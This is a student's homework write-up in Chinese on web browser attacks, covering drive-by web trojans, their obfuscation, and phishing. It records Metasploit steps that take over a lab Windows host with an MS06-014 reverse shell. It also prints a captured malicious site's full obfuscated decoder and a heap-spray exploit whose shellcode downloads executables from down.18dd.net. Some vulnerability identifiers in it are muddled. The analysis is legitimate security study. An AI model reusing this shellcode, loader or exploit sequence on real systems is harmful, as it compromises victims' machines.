20199123 2019-2020-2 《网络攻防实践》第12周作业

20199123 2019-2020-2 《网络攻防实践》第12周作业

0 总体结构

本次作业属于那个课程 《网络攻防实践》
这个作业要求在哪里 《网络攻防实践》第十二周作业
我在这个课程的目标是 学习网络攻防相关技术、掌握网络攻防相关能力
这个作业在哪个具体方面帮助我实现目标 学习Web浏览器安全攻防
作业正文 下述正文
其他参考文献 见文末

1.实践内容

本章知识整体结构图


1.1 Web浏览器的技术发展与安全威胁

  • Web浏览器战争与技术发展:

    • 浏览器战争:

      第一次浏览器大战对阵双方是微软的IE浏览器和网景的竞争,最终以微软通过免费捆绑方式胜出,而Netscape在2008年官方宣布正式死亡;

      第二次浏览器大战是由Netscape演化的Mozilla开源基金会的Firefox与IE进行角逐,2008年Chrome加入战局;最终呈现出Firefox、IE、Chrome三大巨头

      第三次浏览器大战是国内浏览器大战,国内浏览器市场的混战,各个本土的互联网公司捆绑了自家的浏览器;

    • 现代Web浏览器的基本结构与机理:

      浏览器的主要组件包括:①用户界面:包括地址栏、后退/前进按钮、书签目录等;②浏览器引擎:用来查询及操作渲染引擎的接口;③渲染引擎:用来显示请求的内容;④网络:用来完成网络调用;⑤UI后端:用来绘制类似组合选择框及对话框等基本组件;⑥JS解释器:用来解释执行JS代码;⑦数据存储:属于持久层,浏览器需要在硬盘中保存类似cookie的各种数据;

    • 现代Web浏览器软件的内核引擎与可扩展机制:

      浏览器内核作为浏览器中最重要的模块,其核心作用是将页面转换为可视化的结果。浏览器内核一般分成渲染引擎(layout engineer 或者 Rendering Engine)JS 引擎两部分,只是通常我们总是把渲染引擎称之为内核,习惯把JS引擎区分开来单独说明。

      目前,主流浏览器的渲染引擎主要有Trident(IE内核)、Gecko (Firefox内核)、Webkit (Safari内核)、Blink(Chrome内核)等,其中Blink其实是从WebKit的分支Fork出来的,下表列出了部分浏览器和内核的对应关系;

      关于浏览器内核演进和发展的历史比较复杂,这里给出主流内核的发布时间节点和家谱关系图。

  • Web浏览的安全问题与威胁:

    • Web浏览器软件的安全困境三要素:

      复杂性:现代浏览器软件需要支持多种应用层协议浏览,因此会比较复杂也容易出现漏洞;

      可扩展性:目前几乎所有的现代浏览器都支持第三方插件扩展机制;

      连通性:为用户实现“随时随地浏览互联网”这一目的;

    • Web浏览安全威胁位置:

1.2 Web浏览端的渗透攻击威胁——木马

  • 网页木马安全威胁的产生背景:网页木马是从恶意网页脚本所孕育和发展而来的;黑客们从早期的编写的恶意网页脚本到利用客户端软件的安全漏洞来获取得到访问权的机会,在浏览端植入恶意程序或进行其他任意操作,从而实现了网页木马这一新的网络攻击技术;

    • 网页木马发展与流行的驱动力——黑客地下经济链:

  • 网页木马的机理分析:

    • 网页木马定义:本质是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序;

    • 网页木马攻击技术流程:

      通过上述流程构造出的网页木马攻击网络具有区别于传统的二进制恶意代码的如下特性:

      • 多样性的客户端渗透攻击位置和技术类型
      • 分布式、复杂的微观连接结构
      • 灵活多变的混淆与对抗分析能力
    • 网页木马的本质核心——浏览器渗透攻击:①不安全方法类安全漏洞利用的常见模式:通过VBScript所提供的创建ActiveX对象、调用ActiveX提供方法随即完成了攻击目的;②堆内存操作(Heapspray)的技术:利用JavaScript脚本语言编写恶意代码使得发生了堆溢出攻击;

    • 网页挂马机制:

      • 内嵌HTML标签
      • 恶意Script脚本
      • 内嵌对象链接
      • ARP欺骗挂马
    • 混淆机制:

      • 代码重新排版
      • 大小写变换,十六进制编码等方式混淆
      • 加密后解密方式、字符串运算,数学运算或者特殊函数混淆代码
  • 网页木马的检测与分析技术:

    • 基于特征码匹配的传统检测方法:延用恶意脚本代码静态分析过程来提取其中具有样本特异性的特征码,然后进行检测是否存在网页木马;但是对于灵活多变的木马来说这种检测方式不太实用;
    • 基于统计与机器学习的静态分析方法:此类方法依旧是停留在形态层次上;
    • 基于动态行为结果判定的检测方法:利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型的Web访问浏览器及应用软件、存在安全漏洞的高交互式客户端蜜罐环境,在蜜罐环境中进行模拟网页木马来对其进行分析;
    • 基于模拟浏览器环境的动态分析检测方法:以脚本执行引擎为核心,通过模拟实现DOM模型、页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交互式客户端蜜罐环境;
  • 网页木马防范措施:

    • 提升操作系统与浏览端平台软件安全性
    • 安装和实时更新反病毒软件
    • 安装Mac OS/Linux操作系统并使用冷门的浏览器

1.3 揭开网络钓鱼的黑幕

  • 网络钓鱼技术概述:

    网络钓鱼主要是利用社会工程学在互联网中广泛实施的一种典型攻击,简单来说就是利用通过发送邮件给用户欺骗用户点击钓鱼网站,从而获取到用户的用户名和密钥,再进行虚拟货币的交易或者是网上转账等操作;

  • 网络钓鱼攻击的技术内幕:

    • 网络钓鱼攻击常见的两种场景:①在攻陷的服务器上钓鱼;②部署重定向服务搭建钓鱼攻击网络;
    • 网络钓鱼攻击技术策略:
      • 首先钓鱼攻击者需要架设支撑钓鱼攻击的底层基础设施:包括在被攻陷的服务器上搭建钓鱼攻击网络完成钓鱼网站的部署;
      • 然后是欺骗大量的互联网用户访问钓鱼网站;常采用的方式有:①在指向假冒网站的链接中使用IP地址代替域名;②注册发音相近或相似的DNS域名;③在一个假冒钓鱼网站的电子邮件中嵌入一些指向真实的目标网站链接;④对假冒网站的URL进行编码和混淆;⑤企图攻击用户网页浏览器存在的漏洞;⑥将假冒的钓鱼网站配置成记录用户提交的所有数据并进行补课察觉的日志,然后将用户重定向到真实的网站;⑦假设一个假冒网站,作为目标机构真实网站的代理;
  • 网络钓鱼攻击的防范:

    • 国际反网络钓鱼工作组的建立;
    • 中国在2008年也城里了反钓鱼网站联盟;
    • 针对网络钓鱼过程中的电子邮件和即时通信信息欺诈,应该提高警惕;
    • 充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性;
    • 在登录网上银行、证券基金等关键网站进行在线金融操作时,务必重视网站的真实性;
    • 提升自我的抵抗社会工程学攻击的能力;

2 实践过程

2.1 SEED SQL注入实验

实践任务: 使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程;

  • 实验环境:攻击机:Kali、靶机:Windows靶机;

  • 选择使用Metasploit中的MS06-014渗透攻击模块;

  • 选择PAYLOAD为任意远程Shell连接;

  • 设置LHOST参数,运行exploit,构造出恶意网页脚本;

  • 在靶机环境中启动浏览器,访问恶意网页脚本URL;

  • 查看建立起的远程控制会话SESSION;


实践步骤:

Step 0:实验环境介绍:

  • 攻击机kali:192.168.200.2
  • 靶机Win2kServer:192.168.200.124

Step 1:在kali中打开msfconsole;键入命令行search ms06-014查看漏洞的详细信息;

Step 2:键入命令use 0进入漏洞;输入命令set LHOST 192.168.200.2设置本机地址;

Step 3:使用命令show payloads查看此漏洞的可攻击载荷;

Step 4:输入命令set payload windows/meterpreter/reverse_tcp设置攻击的载荷;然后exploit开始进行漏洞攻击;可以发现获得了URL和木马的IP地址http://192.168.200.2:8080/FxuOwQvU9eiSb

Step 5: 在靶机中访问木马IP地址,返回到攻击机中则成功建立会话

Step 6:使用命令sessions -i 1选择第一个会话,此时便可以在攻击机上控制靶机;

Step 7:输入命令ipconfiggetuid分别查看到靶机的IP和攻击机获取的权限;


2.2 剖析一个实际的网页木马攻击场景

实践任务: 一个研究组发现了一个域名为 18dd.net 的挂马网站。在链接分析的过程中, 发现有大量恶意网页最终都重定向到了这个网站上,现在的任务如下:

  • 试述你是如何一步步的从所给的网页中获取最后的真实代码的?

  • 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?

  • 从解密后的结果来看,攻击者利用了那些系统漏洞?

  • 解密后发现了多少个可执行文件?其作用是什么?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?


实践步骤:

Step 0:由于第一问的start.html文件没有所以就放个参考答案里面分析出来的结果图:

Step 1:第二问中首先给出网页分析的整个加密技术:

  • 网页加密方法: www.cha88.cn

  • aa/kl.htm(dispatcher页面)

    • 十六进制编码
  • t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'))

    • Base64编码, xxtea加密(密钥:script), UTF16to8编码
  • 1.js(MS06-014网马)

    • 十六进制编码
  • b.js(暴风影音网马)

  • 老外写的js加解密工具

  • pps.js(PPStream网马)

  • 八进制编码

Step 2:打开文件7f60672dcd6b5e90b6772545ee219bd3对文件进行解密可以看到下述的解密程序,从程序中可以看到

  • 十六进制编码

  • t=utf8to16(xxtea_decrypt(base64decode(t),'\x73\x63\x72\x69\x70\x74'));

  • Base64编码, xxtea加密(密钥:script), UTF16to8编码

< script language = javascript >
    function utf8to16(mBm1) {
        var YAgps2, z$EnNkblS3, _J$OCI4, JULuNO5;
        var K6, VjOzlmshy7;
        YAgps2 = [];
        _J$OCI4 = mBm1["length"];
        z$EnNkblS3 = 0;
        while (z$EnNkblS3 < _J$OCI4) {
            JULuNO5 = mBm1["charCodeAt"](z$EnNkblS3++);
            switch (JULuNO5 >> 4) {
                case 0:
                case 1:
                case 2:
                case 3:
                case 4:
                case 5:
                case 6:
                case 7:
                    YAgps2[YAgps2["length"]] = mBm1["charAt"](z$EnNkblS3 - 1);
                    break;
                case 12:
                case 13:
                    K6 = mBm1["charCodeAt"](z$EnNkblS3++);
                    YAgps2[YAgps2["length"]] = window["String"]["fromCharCode"](((JULuNO5 & 0x1F) << 6) | (K6 & 0x3F));
                    break;
                case 14:
                    K6 = mBm1["charCodeAt"](z$EnNkblS3++);
                    VjOzlmshy7 = mBm1["charCodeAt"](z$EnNkblS3++);
                    YAgps2[YAgps2["length"]] = window["String"]["fromCharCode"](((JULuNO5 & 0x0F) << 12) | ((K6 & 0x3F) << 6) | ((VjOzlmshy7 & 0x3F) << 0));
                    break;
            }
        }
        return YAgps2["join"]('');
    }
var MsIRays8 = new window["Array"](-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1);

function base64decode(Xs9) {
    var UlBDOqT10, CKF11, ClCCjp12, gt13;
    var qCZsfjn14, uAcMH15, Yuv16;
    uAcMH15 = Xs9["length"];
    qCZsfjn14 = 0;
    Yuv16 = "";
    while (qCZsfjn14 < uAcMH15) {
        do {
            UlBDOqT10 = MsIRays8[Xs9["charCodeAt"](qCZsfjn14++) & 0xff]
        } while (qCZsfjn14 < uAcMH15 && UlBDOqT10 == -1);
        if (UlBDOqT10 == -1)
            break;
        do {
            CKF11 = MsIRays8[Xs9["charCodeAt"](qCZsfjn14++) & 0xff]
        } while (qCZsfjn14 < uAcMH15 && CKF11 == -1);
        if (CKF11 == -1)
            break;
        Yuv16 += window["String"]["fromCharCode"]((UlBDOqT10 << 2) | ((CKF11 & 0x30) >> 4));
        do {
            ClCCjp12 = Xs9["charCodeAt"](qCZsfjn14++) & 0xff;
            if (ClCCjp12 == 61)
                return Yuv16;
            ClCCjp12 = MsIRays8[ClCCjp12]
        } while (qCZsfjn14 < uAcMH15 && ClCCjp12 == -1);
        if (ClCCjp12 == -1)
            break;
        Yuv16 += window["String"]["fromCharCode"](((CKF11 & 0XF) << 4) | ((ClCCjp12 & 0x3C) >> 2));
        do {
            gt13 = Xs9["charCodeAt"](qCZsfjn14++) & 0xff;
            if (gt13 == 61)
                return Yuv16;
            gt13 = MsIRays8[gt13]
        } while (qCZsfjn14 < uAcMH15 && gt13 == -1);
        if (gt13 == -1)
            break;
        Yuv16 += window["String"]["fromCharCode"](((ClCCjp12 & 0x03) << 6) | gt13)
    }
    return Yuv16
}

function long2str(v, KDGWFiv17) {
    var Wp18 = v["length"];
    var tGRDob19 = v[Wp18 - 1] & 0xffffffff;
    for (var EGOTt20 = 0; EGOTt20 < Wp18; EGOTt20++) {
        v[EGOTt20] = window["String"]["fromCharCode"](v[EGOTt20] & 0xff, v[EGOTt20] >>> 8 & 0xff, v[EGOTt20] >>> 16 & 0xff, v[EGOTt20] >>> 24 & 0xff);
    }
    if (KDGWFiv17) {
        return v["join"]('')["substring"](0, tGRDob19);
    } else {
        return v["join"]('');
    }
}

function str2long(u$21, LskoLvqb22) {
    var cFeuCN23 = u$21["length"];
    var YQ_c24 = [];
    for (var GapMYiRr25 = 0; GapMYiRr25 < cFeuCN23; GapMYiRr25 += 4) {
        YQ_c24[GapMYiRr25 >> 2] = u$21["charCodeAt"](GapMYiRr25) | u$21["charCodeAt"](GapMYiRr25 + 1) << 8 | u$21["charCodeAt"](GapMYiRr25 + 2) << 16 | u$21["charCodeAt"](GapMYiRr25 + 3) << 24;
    }
    if (LskoLvqb22) {
        YQ_c24[YQ_c24["length"]] = cFeuCN23;
    }
    return YQ_c24;
}

function xxtea_decrypt(tFX26, Su27) {
    if (tFX26 == "") {
        return "";
    }
    var ArazzKi28 = str2long(tFX26, false);
    var DhTWjwXc29 = str2long(Su27, false);
    var u_RIHeIWV30 = ArazzKi28["length"] - 1;
    var ttraIAo31 = ArazzKi28[u_RIHeIWV30 - 1],
        lLMsWz32 = ArazzKi28[0],
        B33 = 0x9E3779B9;
    var pDDucrd34, F$s35, MsOR36 = window["Math"]["floor"](6 + 52 / (u_RIHeIWV30 + 1)),
        ipNggI37 = MsOR36 * B33 & 0xffffffff;
    while (ipNggI37 != 0) {
        F$s35 = ipNggI37 >>> 2 & 3;
        for (var WkXem38 = u_RIHeIWV30; WkXem38 > 0; WkXem38--) {
            ttraIAo31 = ArazzKi28[WkXem38 - 1];
            pDDucrd34 = (ttraIAo31 >>> 5 ^ lLMsWz32 << 2) + (lLMsWz32 >>> 3 ^ ttraIAo31 << 4) ^ (ipNggI37 ^ lLMsWz32) + (DhTWjwXc29[WkXem38 & 3 ^ F$s35] ^ ttraIAo31);
            lLMsWz32 = ArazzKi28[WkXem38] = ArazzKi28[WkXem38] - pDDucrd34 & 0xffffffff;
        }
        ttraIAo31 = ArazzKi28[u_RIHeIWV30];
        pDDucrd34 = (ttraIAo31 >>> 5 ^ lLMsWz32 << 2) + (lLMsWz32 >>> 3 ^ ttraIAo31 << 4) ^ (ipNggI37 ^ lLMsWz32) + (DhTWjwXc29[WkXem38 & 3 ^ F$s35] ^ ttraIAo31);
        lLMsWz32 = ArazzKi28[0] = ArazzKi28[0] - pDDucrd34 & 0xffffffff;
        ipNggI37 = ipNggI37 - B33 & 0xffffffff;
    }
    return long2str(ArazzKi28, true);
}
t = "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";
t = utf8to16(xxtea_decrypt(base64decode(t), 'script'));
window["document"]["write"](t); < /script>

Step 3:打开1.js件并进行解密得到如下图:

从图中可以看到这个和之前分析的MS04-016漏洞的程序非常的相似(PS:我是先做的实践一三再写的二)从代码中可以看到首先是从网站http://down.18dd.net/bb/014.exe 上下载了014.exe这个执行文件,我用IDA打开这个文件可以发现和后面实践三分析MS04-016类似的代码,因此猜测这个js代码利用了漏洞MS04-016;

Step 4: 采用同样的方式解密b.js文件;解密结果如下:

var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "



";
storm.rawParse(buffer)

注意:上述解密程序中有shellcode代码,多次对buffer进行操作猜测存在缓冲区溢出的漏洞;我们再对var shellcode = unescape(2f%u2f62%u6662%u652e%u6578%u0000)具体的这些字符进行解密,发现其为http://down.18dd.net/bb/bf.exe反向证明了第一问的网页挂马利用到的网页;

Step 5:继续使用这样的方式进行解密文件pps.js,得到其执行文件路径为:http://down.18dd.net/bb/pps.exe

Step 6:通过上述对1.js b.js pps.js三个文件的解密找到了三个可执行的文件014.exe,bf.exe,pps.exe,bs.exe

这些可执行文件有下载器,分别为:http://down.18dd.net/bb/014.exe、http://down.18dd.net/bb/bf.exe、http://down.18dd.net/bb/pps.exe

